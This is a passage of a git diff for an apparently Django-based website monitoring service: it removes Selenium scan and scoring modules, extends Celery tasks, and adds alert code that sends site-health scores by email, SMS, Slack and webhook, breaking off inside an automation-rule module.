driver.set_page_load_timeout(20) - driver.set_script_timeout(20) - driver.implicitly_wait(20) - - - return driver \ No newline at end of file diff --git a/app/api/scan_tests/scan_site.py b/app/api/scan_tests/scan_site.py deleted file mode 100644 index 24711f98..00000000 --- a/app/api/scan_tests/scan_site.py +++ /dev/null @@ -1,100 +0,0 @@ -from .driver_init import driver_init -from selenium import webdriver -from ..models import Site, Scan, Test -from selenium.webdriver.chrome.options import Options -from django.forms.models import model_to_dict -from django.core.serializers.json import DjangoJSONEncoder -from .lighthouse import Lighthouse -import time, os, sys, json - - - -class ScanSite(): - - def __init__(self, site=None, scan=None): - if site == None and scan != None: - site = scan.site - self.site = site - self.driver = driver_init() - self.scan = scan - - - def first_scan(self): - self.driver.get(self.site.site_url) - time.sleep(5) - html = self.driver.page_source - logs = self.driver.get_log('browser') - self.driver.quit() - lh_data = Lighthouse(self.site).get_data() - - - if self.scan: - self.scan.html = html - self.scan.logs = logs - self.scan.scores = lh_data["scores"] - self.scan.audits = lh_data["audits"] - self.scan.save() - first_scan = self.scan - else: - first_scan = Scan.objects.create( - site=self.site, html=html, - logs=logs, scores=lh_data["scores"], - audits=lh_data["audits"] - ) - - self.update_site_info(first_scan) - - return first_scan - - - def second_scan(self): - first_scan = Scan.objects.filter( - site=self.site - ).order_by('-time_created').first() - - self.driver.get(self.site.site_url) - time.sleep(5) - html = self.driver.page_source - logs = self.driver.get_log('browser') - self.driver.quit() - lh_data = Lighthouse(self.site).get_data() - - second_scan = Scan.objects.create( - site=self.site, paired_scan=first_scan, - html=html, logs=logs, scores=lh_data['scores'], - audits=lh_data['audits'] - ) - second_scan.save() - - first_scan.paried_scan = second_scan - first_scan.save() - - self.update_site_info(second_scan) - - return second_scan - - - - def update_site_info(self, scan): - if scan.scores['average'] == None: - health = 'No Data' - badge = 'neutral' - elif float(scan.scores['average']) >= 75: - health = 'Good' - badge = 'success' - elif 75 > float(scan.scores['average']) >= 60: - health = 'Okay' - badge = 'warning' - elif 60 > float(scan.scores['average']): - health = 'Poor' - badge = 'danger' - - self.site.info['latest_scan']['id'] = str(scan.id) - self.site.info['latest_scan']['time_created'] = str(scan.time_created) - self.site.info['lighthouse'] = scan.scores - self.site.info['status']['health'] = str(health) - self.site.info['status']['badge'] = str(badge) - - self.site.save() - - return self.site \ No newline at end of file diff --git a/app/api/scan_tests/tester.py b/app/api/scan_tests/tester.py deleted file mode 100644 index d0d45ebc..00000000 --- a/app/api/scan_tests/tester.py +++ /dev/null @@ -1,366 +0,0 @@ -from ..models import Site, Scan, Test -import time, os, sys, json, random, string, re -from difflib import SequenceMatcher, HtmlDiff -from datetime import datetime - - - -class Test(): - - def __init__(self, test): - self.test = test - self.pre_scan_html = [] - self.post_scan_html = [] - self.pre_scan_logs = [] - self.post_scan_logs = [] - self.delta_html_post = [] - self.delta_html_pre = [] - - - def clean_html(self): - pre_scan_html = self.test.pre_scan.html.splitlines() - post_scan_html = self.test.post_scan.html.splitlines() - - white_list = ['csrfmiddlewaretoken',] - tags = [ - '', '', new_line) - for sub in subStrings: - if sub not in tags: - self.pre_scan_html.append((sub+'>')) - - for line in post_scan_html: - for item in white_list: - if item in line: - post_scan_html.remove(line) - for line in post_scan_html: - new_line = line.replace('\t', '').replace('\\', '').replace('"\"', '') - subStrings = re.split('>', new_line) - for sub in subStrings: - if sub not in tags: - self.post_scan_html.append((sub+'>')) - - return - - - def clean_logs(self): - pre_scan_logs_json = self.test.pre_scan.logs - post_scan_logs_json = self.test.post_scan.logs - order = ("level", "source", "message") - - - for log in pre_scan_logs_json: - new_log = {} - for label in order: - for key in log: - if key == label: - new_log[label] = log.get(key) - self.pre_scan_logs.append(json.dumps(new_log)) - - - for log in post_scan_logs_json: - new_log = {} - for label in order: - for key in log: - if key == label: - new_log[label] = log.get(key) - self.post_scan_logs.append(json.dumps(new_log)) - - return - - - def compare_html(self): - self.clean_html() - pre_scan = self.pre_scan_html - post_scan = self.post_scan_html - html_raw_score = SequenceMatcher( - None, pre_scan, post_scan - ).ratio() - - return html_raw_score - - - def compare_logs(self): - self.clean_logs() - pre_scan = list(self.pre_scan_logs) - post_scan = list(self.post_scan_logs) - logs_raw_score = SequenceMatcher( - None, pre_scan, post_scan - ).ratio() - - return logs_raw_score - - - def delta_html(self): - num_html_delta = len(self.pre_scan_html) - len(self.post_scan_html) - num_html_ratio = len(self.pre_scan_html) / len(self.post_scan_html) - if num_html_ratio > 1: - num_html_ratio = len(self.post_scan_html) / len(self.pre_scan_html) - - for line in self.post_scan_html: - if line not in self.pre_scan_html: - self.delta_html_post.append(line) - - for line in self.pre_scan_html: - if line not in self.post_scan_html: - self.delta_html_pre.append(line) - - - pre_micro_delta = self.post_proc_html( - self.delta_html_pre, - self.delta_html_post - ) - - post_micro_delta = self.post_proc_html( - self.delta_html_post, - self.delta_html_pre - ) - - - data = { - "num_html_delta": num_html_delta, - "delta_html_post": self.delta_html_post, - "delta_html_pre": self.delta_html_pre, - "num_html_ratio": num_html_ratio, - "pre_micro_delta": pre_micro_delta, - "post_micro_delta": post_micro_delta, - } - - return data - - - def post_proc_html(self, primary_list, secondary_list): - delta_parsed = [] - delta_parsed_diff = [] - secondary_str = ''.join(str(i) for i in secondary_list) - - # breaking html elements into small 8 chars chunks - for line in primary_list: - subStrings = re.findall('.{1,8}', line) - for sub in subStrings: - delta_parsed.append(sub) - - # checking if small chunk is in other scan - for block in delta_parsed: - if block != None and block != '' and block not in secondary_str: - delta_parsed_diff.append(block) - - data = { - "delta_parsed": delta_parsed, - "delta_parsed_diff": delta_parsed_diff, - } - - return data - - - - - def html_micro_diff_score(self, post_delta_parsed_diff): - - pre_delta_parsed_diff = [] - for line in self.pre_scan_html: - subStrings = re.findall('.{1,8}', line) - for sub in subStrings: - pre_delta_parsed_diff.append(sub) - - diff_length = len(pre_delta_parsed_diff) - len(post_delta_parsed_diff) - diff_score = diff_length / len(pre_delta_parsed_diff) - - return diff_score - - - - - def post_proc_logs(self, log): - log = json.loads(log) - log["message"].replace("\"", "\'") - letters = string.digits - timestamp = ''.join(random.choice(letters) for i in range(13)) - log['timestamp'] = timestamp - - return log - - - - - def delta_logs(self): - num_logs_delta = len(self.pre_scan_logs) - len(self.post_scan_logs) - - if len(self.post_scan_logs) > 0: - num_logs_ratio = len(self.pre_scan_logs) / len(self.post_scan_logs) - if num_logs_ratio > 1: - num_logs_ratio = 1 - else: - num_logs_ratio = 1 - - delta_logs_post = [] - for log in self.post_scan_logs: - if log not in self.pre_scan_logs: - log = self.post_proc_logs(log) - delta_logs_post.append(log) - - - delta_logs_pre = [] - for log in self.pre_scan_logs: - if log not in self.post_scan_logs: - log = self.post_proc_logs(log) - delta_logs_pre.append(log) - - data = { - "num_logs_delta": num_logs_delta, - "delta_logs_post": delta_logs_post, - "delta_logs_pre": delta_logs_pre, - "num_logs_ratio": num_logs_ratio, - } - - return data - - - - def delta_scores(self): - try: - pre_seo = int(self.test.pre_scan.scores['seo']) - pre_accessibility = int(self.test.pre_scan.scores['accessibility']) - pre_performance = int(self.test.pre_scan.scores['performance']) - pre_best_practices = int(self.test.pre_scan.scores['best_practices']) - post_seo = int(self.test.post_scan.scores['seo']) - post_accessibility = int(self.test.post_scan.scores['accessibility']) - post_performance = int(self.test.post_scan.scores['performance']) - post_best_practices = int(self.test.post_scan.scores['best_practices']) - - seo_delta = post_seo - pre_seo - accessibility_delta = post_accessibility - pre_accessibility - performance_delta = post_performance - pre_performance - best_practices_delta = post_best_practices - pre_best_practices - current_average = (post_seo + post_accessibility + post_best_practices + post_performance)/4 - old_average = (pre_seo + pre_accessibility + pre_best_practices + pre_performance)/4 - average_diff = current_average - old_average - except: - seo_delta = None - accessibility_delta = None - performance_delta = None - best_practices_delta = None - current_average = None - average_diff = None - - data = { - "seo_delta": seo_delta, - "accessibility_delta": accessibility_delta, - "performance_delta": performance_delta, - "best_practices_delta": best_practices_delta, - "current_average": current_average, - "average_diff": average_diff, - } - - return data - - - - def update_site_info(self, test): - site = test.site - site.info['latest_test']['id'] = str(test.id) - site.info['latest_test']['time_created'] = str(test.time_created) - site.info['latest_test']['score'] = str(round(test.score)) - site.save() - - return site - - - - - def run_full_test(self): - html_score = self.compare_html() - logs_score = self.compare_logs() - delta_html_data = self.delta_html() - delta_logs_data = self.delta_logs() - delta_scores_data = self.delta_scores() - num_html_ratio = delta_html_data['num_html_ratio'] - num_logs_ratio = delta_logs_data['num_logs_ratio'] - delta_scores_avg_diff = delta_scores_data['average_diff'] - if delta_scores_avg_diff != None: - delta_scores = (100 + delta_scores_avg_diff)/100 - else: - delta_scores = 0 - micro_diff_score = self.html_micro_diff_score( - delta_html_data['post_micro_delta']['delta_parsed_diff'] - ) - html_score_w = 1 - logs_score_w = 1 - num_logs_w = 2 - num_html_w = 1 - micro_diff_w = 2 - - if delta_scores_avg_diff > 0 or delta_scores_avg_diff == None: - delta_scores_w = 0 - else: - delta_scores_w = 1 - - total_w = ( - html_score_w + logs_score_w + num_html_w - + num_logs_w + delta_scores_w + micro_diff_w - ) - - - score = (( - (html_score * html_score_w) + - (logs_score * logs_score_w) + - (num_logs_ratio * num_logs_w) + - (num_html_ratio * num_html_w) + - (delta_scores * delta_scores_w) + - (micro_diff_score * micro_diff_w) - ) / total_w) * 100 - - print( - "Formula was --> ((" + str(html_score*html_score_w) + " + " - + str(logs_score*logs_score_w) + " + " + str(num_logs_ratio*num_logs_w) + " + " - + str(num_html_ratio*num_html_w) + " + " + str(delta_scores*delta_scores_w) + - " + " + str(micro_diff_score*micro_diff_w) + ") / " + str(total_w) + ") * 100 ===> " + str(score) - ) - - html_delta_context = { - "pre_html_delta": delta_html_data['delta_html_pre'], - "post_html_delta": delta_html_data['delta_html_post'], - "pre_micro_delta": delta_html_data['pre_micro_delta'], - "post_micro_delta": delta_html_data['post_micro_delta'], - } - - logs_delta_context = { - "pre_logs_delta": delta_logs_data['delta_logs_pre'], - "post_logs_delta": delta_logs_data['delta_logs_post'], - } - - self.test.time_completed = datetime.now() - self.test.html_delta = html_delta_context - self.test.logs_delta = logs_delta_context - self.test.score = score - self.test.scores_delta = delta_scores_data - self.test.save() - - self.update_site_info(self.test) - - return self.test - - - - - - - diff --git a/app/api/tasks.py b/app/api/tasks.py index 190833f5..5447d37e 100644 --- a/app/api/tasks.py +++ b/app/api/tasks.py @@ -2,36 +2,99 @@ from celery.utils.log import get_task_logger from celery import shared_task from .v1.ops.tasks import (create_site_task, - create_scan_task, create_test_task + create_scan_task, create_test_task, delete_site_s3, + create_report_task, delete_report_s3, ) from .models import Log from django.contrib.auth.models import User +from .utils.driver_p import driver_test +from asgiref.sync import async_to_sync +import asyncio + logger = get_task_logger(__name__) + +@shared_task +def test_pupeteer(): + asyncio.run(driver_test()) + logger.info('Tested pupeteer instalation') + + @shared_task -def create_site_bg(site_id): - create_site_task(site_id) +def create_site_bg(site_id, scan_id): + create_site_task(site_id, scan_id) logger.info('Created scan of new site') + @shared_task -def create_scan_bg(site_id, automation_id=None): - create_scan_task(site_id, automation_id) +def create_scan_bg( + scan_id=None, + site_id=None, + automation_id=None, + configs=None, + tags=None, + ): + create_scan_task( + scan_id, + site_id, + automation_id, + configs, + tags, + ) logger.info('Created new scan of site') + @shared_task -def create_test_bg(site_id, automation_id=None): - create_test_task(site_id, automation_id) +def create_test_bg( + test_id=None, + site_id=None, + automation_id=None, + configs=None, + type=['full'], + index=None, + pre_scan=None, + post_scan=None, + tags=None, + ): + create_test_task( + test_id, + site_id, + automation_id, + configs, + type, + index, + pre_scan, + post_scan, + tags + ) logger.info('Created new test of site') +@shared_task +def create_report_bg(site_id=None, automation_id=None): + create_report_task(site_id, automation_id) + logger.info('Created new report of site') + + +@shared_task +def delete_site_s3_bg(site_id): + delete_site_s3(site_id) + logger.info('Deleted site s3 objects') + + +@shared_task +def delete_report_s3_bg(report_id): + delete_report_s3(report_id) + logger.info('Deleted Report pdf in s3') + @shared_task def purge_logs(username=None): if username: - user = User.objcets.get(username=username) + user = User.objects.get(username=username) Log.objects.filter(user=user).delete() else: Log.objects.all().delete() diff --git a/app/api/scan_tests/__init__.py b/app/api/utils/__init__.py similarity index 100% rename from app/api/scan_tests/__init__.py rename to app/api/utils/__init__.py diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py new file mode 100644 index 00000000..c8a8de05 --- /dev/null +++ b/app/api/utils/alerts.py @@ -0,0 +1,543 @@ +from django.core.mail import send_mail, send_mass_mail +from django.contrib.auth.models import User +from django.template.loader import render_to_string +from datetime import date +import os, operator, json, requests, uuid +from django.utils.html import strip_tags +from django.contrib.auth.models import User +from rest_framework.response import Response +from ..models import * +from twilio.rest import Client +from slack_sdk.web import WebClient +from slack_sdk.errors import SlackApiError + + + + + +def create_exp_str(item, automation, is_email=False): + + exp_list = [] + + for e in automation.expressions: + if 'test_score' in e['data_type']: + data_type = 'Test Score:\t'+str(round(item.score, 2))+'\n\t' + elif 'current_health' in e['data_type']: + data_type = 'Health:\t'+str((float(item.lighthouse_delta["scores"]["current_average"]) + float(item.yellowlab_delta["scores"]["current_average"])/2))+'\n\t' + elif 'health' in e['data_type']: + data_type = 'Health:\t'+str((float(item.lighthouse["scores"]["average"]) + float(item.yellowlab["scores"]["globalScore"])/2))+'\n\t' + # LH test data + elif 'current_lighthouse_average' in e['data_type']: + data_type = 'Lighthouse Average:\t'+str(item.lighthouse_delta["scores"]["current_average"])+'\n\t' + elif 'seo_delta' in e['data_type']: + data_type = 'SEO Delta:\t'+str(item.lighthouse_delta["scores"]["seo_delta"])+'\n\t' + elif 'pwa_delta' in e['data_type']: + data_type = 'PWA Delta:\t'+str(item.lighthouse_delta["scores"]["pwa_delta"])+'\n\t' + elif 'crux_delta' in e['data_type']: + data_type = 'CRUX Delta:\t'+str(item.lighthouse_delta["scores"]["crux_delta"])+'\n\t' + elif 'best_practices_delta' in e['data_type']: + data_type = 'Best Practices Delta:\t'+str(item.lighthouse_delta["scores"]["best_practices_delta"])+'\n\t' + elif 'performance_delta' in e['data_type']: + data_type = 'Performance Delta:\t'+str(item.lighthouse_delta["scores"]["performance_delta"])+'\n\t' + elif 'accessibility_delta' in e['data_type']: + data_type = 'Accessibility Delta:\t'+str(item.lighthouse_delta["scores"]["accessibility_delta"])+'\n\t' + # LH scan data + elif 'lighthouse_average' in e['data_type']: + data_type = 'Lighthouse Average:\t'+str(item.lighthouse["scores"]["average"])+'\n\t' + elif 'seo' in e['data_type']: + data_type = 'SEO:\t'+str(item.lighthouse["scores"]["seo"])+'\n\t' + elif 'pwa' in e['data_type']: + data_type = 'PWA:\t'+str(item.lighthouse["scores"]["pwa"])+'\n\t' + elif 'crux' in e['data_type']: + data_type = 'CRUX:\t'+str(item.lighthouse["scores"]["crux"])+'\n\t' + elif 'best_practices' in e['data_type']: + data_type = 'Best Practices:\t'+str(item.lighthouse["scores"]["best_practices"])+'\n\t' + elif 'performance' in e['data_type']: + data_type = 'Performance:\t'+str(item.lighthouse["scores"]["performance"])+'\n\t' + elif 'accessibility' in e['data_type']: + data_type = 'Accessibility:\t'+str(item.lighthouse["scores"]["accessibility"])+'\n\t' + + + + # yellowlab test data + elif 'current_yellowlab_average' in e['data_type']: + data_type = 'Yellow Lab Avg:\t'+str(item.yellowlab_delta["scores"]["current_average"])+'\n\t' + elif 'pageWeight_delta' in e['data_type']: + data_type = 'Page Weight Delta:\t'+str(item.yellowlab_delta["scores"]["pageWeight_delta"])+'\n\t' + elif 'requests_delta' in e['data_type']: + data_type = 'Requests Delta:\t'+str(item.yellowlab_delta["scores"]["requests_delta"])+'\n\t' + elif 'domComplexity_delta' in e['data_type']: + data_type = 'DOM Complex. Delta:\t'+str(item.yellowlab_delta["scores"]["domComplexity_delta"])+'\n\t' + elif 'javascriptComplexity_delta' in e['data_type']: + data_type = 'JS Complex. Delta:\t'+str(item.yellowlab_delta["scores"]["javascriptComplexity_delta"])+'\n\t' + elif 'badJavascript_delta' in e['data_type']: + data_type = 'Bad JS Delta:\t'+str(item.yellowlab_delta["scores"]["badJavascript_delta"])+'\n\t' + elif 'jQuery_delta' in e['data_type']: + data_type = 'jQuery Delta:\t'+str(item.yellowlab_delta["scores"]["jQuery_delta"])+'\n\t' + elif 'cssComplexity_delta' in e['data_type']: + data_type = 'CSS Complex. Delta:\t'+str(item.yellowlab_delta["scores"]["cssComplexity_delta"])+'\n\t' + elif 'badCSS_delta' in e['data_type']: + data_type = 'Bad CSS Delta:\t'+str(item.yellowlab_delta["scores"]["badCSS_delta"])+'\n\t' + elif 'fonts_delta' in e['data_type']: + data_type = 'Fonts Delta:\t'+str(item.yellowlab_delta["scores"]["fonts_delta"])+'\n\t' + elif 'serverConfig_delta' in e['data_type']: + data_type = 'Server Config Delta:\t'+str(item.yellowlab_delta["scores"]["serverConfig_delta"])+'\n\t' + + # yellowlab scan data + elif 'yellowlab_average' in e['data_type']: + data_type = 'Yellow Lab Avg:\t'+str(item.yellowlab["scores"]["globalScore"])+'\n\t' + elif 'pageWeight' in e['data_type']: + data_type = 'Page Weight:\t'+str(item.yellowlab["scores"]["pageWeight"])+'\n\t' + elif 'requests' in e['data_type']: + data_type = 'Requests:\t'+str(item.yellowlab["scores"]["requests"])+'\n\t' + elif 'domComplexity' in e['data_type']: + data_type = 'DOM Complex.:\t'+str(item.yellowlab["scores"]["domComplexity"])+'\n\t' + elif 'javascriptComplexity' in e['data_type']: + data_type = 'JS Complex.:\t'+str(item.yellowlab["scores"]["javascriptComplexity"])+'\n\t' + elif 'badJavascript' in e['data_type']: + data_type = 'Bad JS:\t'+str(item.yellowlab["scores"]["badJavascript"])+'\n\t' + elif 'jQuery' in e['data_type']: + data_type = 'jQuery:\t'+str(item.yellowlab["scores"]["jQuery"])+'\n\t' + elif 'cssComplexity' in e['data_type']: + data_type = 'CSS Complex.:\t'+str(item.yellowlab["scores"]["cssComplexity"])+'\n\t' + elif 'badCSS' in e['data_type']: + data_type = 'Bad CSS:\t'+str(item.yellowlab["scores"]["badCSS"])+'\n\t' + elif 'fonts' in e['data_type']: + data_type = 'Fonts:\t'+str(item.yellowlab["scores"]["fonts"])+'\n\t' + elif 'serverConfig' in e['data_type']: + data_type = 'Server Config:\t'+str(item.yellowlab["scores"]["serverConfig"])+'\n\t' + + elif 'avg_image_score' in e['data_type']: + data_type = ' Avg Image Score:\t'+str(item.images_delta["average_score"])+'\n\t' + elif 'image_scores' in e['data_type']: + data_type = 'List of Image Scores:\t'+str([i["score"] for i in item.images_delta["images"]])+'\n\t' + + elif 'logs' in e['data_type']: + data_type = 'Error Logs:\t'+str(len(item.logs))+'\n\t' + + + exp_list.append(data_type) + + if is_email: + return exp_list + + exp_str = ('\t'+''.join(exp_list)) + return exp_str + + + + + + + + + + + +def create_json_data(data, obj): + json_data = data + item = obj + + for key in json_data: + if 'test_score' == json_data[key]: + json_data[key] = item.score + elif 'seo_delta' == json_data[key]: + json_data[key] = item.lighthouse_delta["scores"]["seo_delta"] + elif 'pwa_delta' == json_data[key]: + json_data[key] = item.lighthouse_delta["scores"]["pwa_delta"] + elif 'crux_delta' == json_data[key]: + json_data[key] = item.lighthouse_delta["scores"]["crux_delta"] + elif 'best_practices_delta' == json_data[key]: + json_data[key] = item.lighthouse_delta["scores"]["best_practices_delta"] + elif 'performance_delta' == json_data[key]: + json_data[key] = item.lighthouse_delta["scores"]["performance_delta"] + elif 'accessibility_delta' == json_data[key]: + json_data[key] = item.lighthouse_delta["scores"]["accessibility_delta"] + elif 'current_health' == json_data[key]: + json_data[key] = (float(item.lighthouse_delta["scores"]["average"]) + float(item.yellowlab_delta["scores"]["globalScore"])/2) + elif 'health' == json_data[key]: + json_data[key] = (float(item.lighthouse["scores"]["average"]) + float(item.yellowlab["scores"]["globalScore"])/2) + elif 'logs' == json_data[key]: + json_data[key] = len(item.logs) + elif 'current_lighthouse_average' == json_data[key]: + json_data[key] = item.lighthouse_delta["scores"]["current_average"] + elif 'current_average' == json_data[key]: + json_data[key] = item.lighthouse["scores"]["current_average"] + elif 'seo' == json_data[key]: + json_data[key] = item.lighthouse["scores"]["seo"] + elif 'pwa' == json_data[key]: + json_data[key] = item.lighthouse["scores"]["pwa"] + elif 'crux' == json_data[key]: + json_data[key] = item.lighthouse["scores"]["crux"] + elif 'best_practice' == json_data[key]: + json_data[key] = item.lighthouse["scores"]["best_practices"] + elif 'performance' == json_data[key]: + json_data[key] = item.lighthouse["scores"]["performance"] + elif 'accessibility' == json_data[key]: + json_data[key] = item.lighthouse["scores"]["accessibility"] + + elif 'current_yellowlab_average' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["current_average"] + elif 'pageWeight_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["pageWeight_delta"] + elif 'requests_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["requests_delta"] + elif 'domComplexity_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["domComplexity_delta"] + elif 'javascriptComplexity_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["javascriptComplexity_delta"] + elif 'badJavascript_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["badJavascript_delta"] + elif 'jQuery_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["jQuery_delta"] + elif 'cssComplexity_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["cssComplexity_delta"] + elif 'badCSS_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["badCSS_delta"] + elif 'fonts_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["fonts_delta"] + elif 'serverConfig_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["serverConfig_delta"] + + elif 'yellowlab_average' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["globalScore"] + elif 'pageWeight' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["pageWeight"] + elif 'requests' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["requests"] + elif 'domComplexity' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["domComplexity"] + elif 'javascriptComplexity' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["javascriptComplexity"] + elif 'badJavascript' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["badJavascript"] + elif 'jQuery' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["jQuery"] + elif 'cssComplexity' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["cssComplexity"] + elif 'badCSS' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["badCSS"] + elif 'fonts' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["fonts"] + elif 'serverConfig' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["serverConfig"] + + elif 'avg_image_score' == json_data[key]: + json_data[key] = item.images_delta["average_score"] + elif 'image_scores' == json_data[key]: + json_data[key] = [i["score"] for i in item.images_delta["images"]] + + + return json_data + + + + + + + + + + + + +def automation_email(email=None, automation_id=None, object_id=None): + if email and automation_id: + automation = Automation.objects.get(id=automation_id) + schedule = automation.schedule + site = schedule.site + + try: + item = Test.objects.get(id=uuid.UUID(object_id)) + item_type = 'Test' + except: + try: + item = Scan.objects.get(id=uuid.UUID(object_id)) + item_type = 'Scan' + except: + return {'success': False} + + exp_list = create_exp_str(item=item, automation=automation, is_email=True) + + object_url = str(os.environ.get('CLIENT_URL_ROOT') + '/site/'+str(site.id)) + subject = f'Alert for {site.site_url}' + title = f'Alert for {site.site_url}' + pre_header = f'Alert for {site.site_url}' + pre_content = ( + f'Scanerr just finished running a {item_type} for {site.site_url}. ' + f'Below are the current stats:\n' + ) + content = ( + f'This message was triggered by an automation you created. ' + f'You can change the automation and schedule in your site\'s dashboard. ' + ) + subject = subject + context = { + 'title' : title, + 'pre_header' : pre_header, + 'pre_content' : pre_content, + 'exp_list': exp_list, + 'object_url' : object_url, + 'home_page' : os.environ.get('CLIENT_URL_ROOT'), + 'button_text' : 'View Site Dashboard', + 'content' : content, + 'signature' : '- Cheers!', + } + + html_message = render_to_string('api/automation_email.html', context) + plain_message = strip_tags(html_message) + send_mail( + from_email = os.getenv('EMAIL_HOST_USER'), + subject = subject, + message = plain_message, + recipient_list = [email], + html_message = html_message, + fail_silently = True, + ) + + data = { + 'success': True + } + + else: + data = { + 'success': False + } + + return data + + + + + +def automation_report_email(email=None, automation_id=None, object_id=None): + if email and automation_id: + automation = Automation.objects.get(id=automation_id) + schedule = automation.schedule + site = schedule.site + + try: + item = Report.objects.get(id=uuid.UUID(object_id)) + item_type = 'Report' + except: + return {'success': False} + + exp_list = '' + object_url = str(item.path) + subject = f'Report for {site.site_url}' + title = f'Report for {site.site_url}' + pre_header = f'Report for {site.site_url}' + pre_content = ( + f'Scanerr just finished creating a {item_type} for {site.site_url}. ' + f'Please click the link below to access and download the report.\n' + ) + content = ( + f'This message was triggered by an automation created with Scanerr. ' + f'You can change the automation and schedule in your site\'s dashboard. ' + ) + subject = subject + context = { + 'title' : title, + 'pre_header' : pre_header, + 'pre_content' : pre_content, + 'exp_list': exp_list, + 'object_url' : object_url, + 'home_page' : os.environ.get('CLIENT_URL_ROOT'), + 'button_text' : 'View Report', + 'content' : content, + 'signature' : '- Cheers!', + } + + html_message = render_to_string('api/automation_email.html', context) + plain_message = strip_tags(html_message) + send_mail( + from_email = os.getenv('EMAIL_HOST_USER'), + subject = subject, + message = plain_message, + recipient_list = [email], + html_message = html_message, + fail_silently = True, + ) + + data = { + 'success': True + } + + else: + data = { + 'success': False + } + + return data + + + + +def automation_webhook( + request_type=None, + request_url=None, + request_data=None, + automation_id=None, + object_id=None, + ): + if request_type and automation_id and request_url and request_data and object_id: + automation = Automation.objects.get(id=automation_id) + schedule = automation.schedule + site = schedule.site + + try: + item = Test.objects.get(id=uuid.UUID(object_id)) + item_type = 'Test' + except: + try: + item = Scan.objects.get(id=uuid.UUID(object_id)) + item_type = 'Scan' + except: + return {'success': False} + + pre_json_data = json.loads(request_data) + json_data = create_json_data(data=pre_json_data, obj=item) + + try: + if request_type == 'POST': + response = requests.post(request_url, data=json_data) + elif request_data == 'GET': + response = requests.get(request_url, params=json_data) + + print(response.json()) + + except: + data = {'success': False} + + data = { + 'success': True + } + + else: + data = { + 'success': False + } + + return data + + + + + +def automation_phone(phone_number=None, automation_id=None, object_id=None): + if phone_number and automation_id and object_id: + automation = Automation.objects.get(id=automation_id) + schedule = automation.schedule + site = schedule.site + + try: + item = Test.objects.get(id=uuid.UUID(object_id)) + item_type = 'Test' + except: + try: + item = Scan.objects.get(id=uuid.UUID(object_id)) + item_type = 'Scan' + except: + return {'success': False} + + exp_str = create_exp_str(item=item, automation=automation) + + object_url = str(os.environ.get('CLIENT_URL_ROOT') + '/site/'+str(site.id)) + pre_content = ( + f'Scanerr just finished running a {item_type} for {site.site_url}. ' + f'Below are the current stats:\n\n\t{exp_str}\n' + ) + content = ( + f'This message was triggered by an automation you created. ' + f'You can change the automation and schedule in your site\'s dashboard. ' + ) + + body = f'Hi there,\n\n{pre_content}{content}\n{object_url}' + + account_sid = os.environ.get("TWILIO_SID") + auth_token = os.environ.get("TWILIO_AUTH_TOKEN") + client = Client(account_sid, auth_token) + + message = client.messages.create( + to=phone_number, + from_=os.environ.get('TWILIO_NUMBER'), + body=body + ) + + data = { + 'success': True + } + + else: + data = { + 'success': False + } + + return data + + + + +def automation_slack(automation_id=None, object_id=None): + if automation_id and object_id: + automation = Automation.objects.get(id=automation_id) + account = Account.objects.get(user=automation.user) + schedule = automation.schedule + site = schedule.site + + try: + item = Test.objects.get(id=uuid.UUID(object_id)) + item_type = 'Test' + except: + try: + item = Scan.objects.get(id=uuid.UUID(object_id)) + item_type = 'Scan' + except: + return {'success': False} + + exp_str = create_exp_str(item=item, automation=automation) + + object_url = str(os.environ.get('CLIENT_URL_ROOT') + '/site/'+str(site.id)) + pre_content = ( + f'Scanerr just finished running a {item_type} for {site.site_url}. ' + f'Below are the current stats:\n\n\t{exp_str}\n' + ) + content = ( + f'This message was triggered by an automation you created. ' + f'You can change the automation and schedule in your site\'s dashboard. ' + ) + + body = f'Hi there,\n\n{pre_content}{content}\n{object_url}' + + token = account.slack['bot_access_token'] + channel = account.slack['slack_channel_id'] + + client = WebClient(token=token) + try: + response = client.chat_postMessage( + channel=channel, + text=(body), + block=[ + { + "type": "section", + "text": { + "type": "mrkdwn", + "text": body, + + } + } + ] + ) + except SlackApiError as e: + assert e.response["error"] + + data = { + 'success': True + } + + else: + data = { + 'success': False + } + + return data \ No newline at end of file diff --git a/app/api/utils/automations.py b/app/api/utils/automations.py new file mode 100644 index 00000000..e8e691d9 --- /dev/null +++ b/app/api/utils/automations.py @@ -0,0 +1,226 @@ +from ..models import * +from .alerts import * +import re, uuid + + + +def automation(automation_id, object_id): + automation = Automation.objects.get(id=automation_id) + schedule = automation.schedule + expressions = automation.expressions + exp_list = [] + actions = automation.actions + act_list = [] + scan = None + test = None + report = None + use_exp = True + + if schedule.task_type == 'scan': + try: + scan = Scan.objects.get(id=object_id) + except: + return False + + elif schedule.task_type == 'test': + try: + test = Test.objects.get(id=object_id) + except: + return False + + elif schedule.task_type == 'report': + try: + report = Report.objects.get(id=object_id) + use_exp = False + except: + return False + else: + return False + + + + + if use_exp: + + for expression in expressions: + + exp = None + data_type = None + value = str(float(re.search(r'\d+', str(expression['value'])).group())) + + if '>=' in expression['operator']: + operator = ' >= ' + else: + operator = ' <= ' + + if 'and' in expression['joiner']: + joiner = ' and ' + elif 'or' in expression['joiner']: + joiner = ' or ' + else: + joiner = '' + + if 'test_score' in expression['data_type']: + data_type = 'float(test.score)' + + # lighthouse test data + elif 'current_lighthouse_average' in expression['data_type']: + data_type = 